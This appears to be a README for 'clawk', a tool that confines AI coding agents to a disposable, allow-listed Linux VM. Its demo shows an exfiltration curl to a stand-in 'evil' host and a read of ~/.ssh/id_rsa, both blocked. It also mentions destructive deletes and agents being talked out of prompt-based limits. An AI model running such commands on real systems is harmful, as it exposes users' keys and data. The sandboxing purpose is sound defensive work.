🛠️ Clawk: Give Your AI Agents a Sandbox, Not Your Keys

Stop letting AI coding agents run wild on your primary machine. ~~Don't trust the agent with your laptop.~~ Instead, give them a disposable, network-restricted Linux VM.

🚩 The Dilemma of AI Agency

For a coding agent to be truly productive, it needs the freedom to:

Install necessary dependencies.
Execute the code it generates.
Spin up local servers.
Interact with the network.

Currently, users are forced into a binary choice:

The Babysitter: Manually approve every single command, interrupting your flow every few seconds.
The Gambler: Use --dangerously-skip-permissions and pray the agent doesn't execute a catastrophic rm -rf or leak your private environment tokens.

🚀 The Clawk Solution

clawk provides a middle ground. By simply navigating to your repository and typing clawk, you launch an environment where agents (like Claude Code or Codex) operate inside a disposable Linux VM.

How it Works

Your project files are mounted into the guest VM, and the agent is granted root access inside that guest. However, your host's keychain, private files, and system settings remain completely isolated.

The Hard Boundary

Unlike prompt-based restrictions, which an agent can be "gaslit" into ignoring, clawk enforces a hardware-level boundary.

"The boundary isn't a rule in a prompt... It's a separate machine."

Example of the sandbox in action:

# Attempting to exfiltrate data to a malicious server
$ curl https://tracker.evil.example 
# Result: blocked by allow-list
curl: (7) Failed to connect to tracker.evil.example port 443: Connection refused

# Attempting to steal host SSH keys
$ cat ~/.ssh/id_rsa 
# Result: keys were never mounted in the VM
cat: /home/agent/.ssh/id_rsa: No such file or directory

# Performing legitimate work
$ git push 
# Result: Works via ssh-agent forwarding
Enumerating objects: 5, done.

Note on Security: The allow-list prevents connections to unknown hosts, but permitted hosts (like github.com) are open. If an agent can read a file, assume it could potentially publish it to an allowed destination.

🛠️ Key Features & Technical Nuance

Feature	Benefit
OCI Image Rootfs	Use any OCI image to provide the exact OS and tools your project requires.
Fast Boot	First boot builds the rootfs; subsequent boots happen in seconds.
State Management	Code and conversations live on the host; VMs are ephemeral.
Network Control	Outbound traffic is restricted via an allow-list.
Resource Efficiency	Idle VMs suspend to disk and release memory. $\text{Cost} \approx 0$
Persistence	Use `clawk attach` to resume a session or `clawk destroy` to wipe it.

Why a VM instead of a Process Sandbox?

clawk utilizes a full guest Linux kernel. This avoids the "syscall-filter surprises" common in process-level sandboxing.

Full Control: Edit /etc, load kernel modules, or bind privileged ports.
Complex Workloads: Because it's a real machine, you can run things that usually fight sandboxes:
- Native dependency installation.
- Background services (Databases, Queues).
- Untrusted build pipelines.
- Nested Virtualization: On supported hardware, you can run Docker or Kind inside the clawk VM.

📦 Installation

Prerequisites

macOS: Version 14+ on Apple Silicon (uses Virtualization.framework).
Linux: Experimental support via Firecracker.

Setup Checklist

Install via Homebrew or Source
Verify Go version (if building from source)
Run first clawk command to build rootfs

Option A: Homebrew (Recommended)

brew install clawkwork/tap/clawk

Option B: From Source Requires Go 1.26+

git clone https://github.com/clawkwork/clawk
cd clawk
make install

No external dependencies like QEMU, Docker, or sudo are required on the host.

⚠️ Final Considerations

Stability: Expect occasional rough edges and breaking changes between releases.
Recovery: If the agent destroys the VM environment, simply run: clawk destroy $\rightarrow$ clawk $\rightarrow$ --resume (to restore the chat).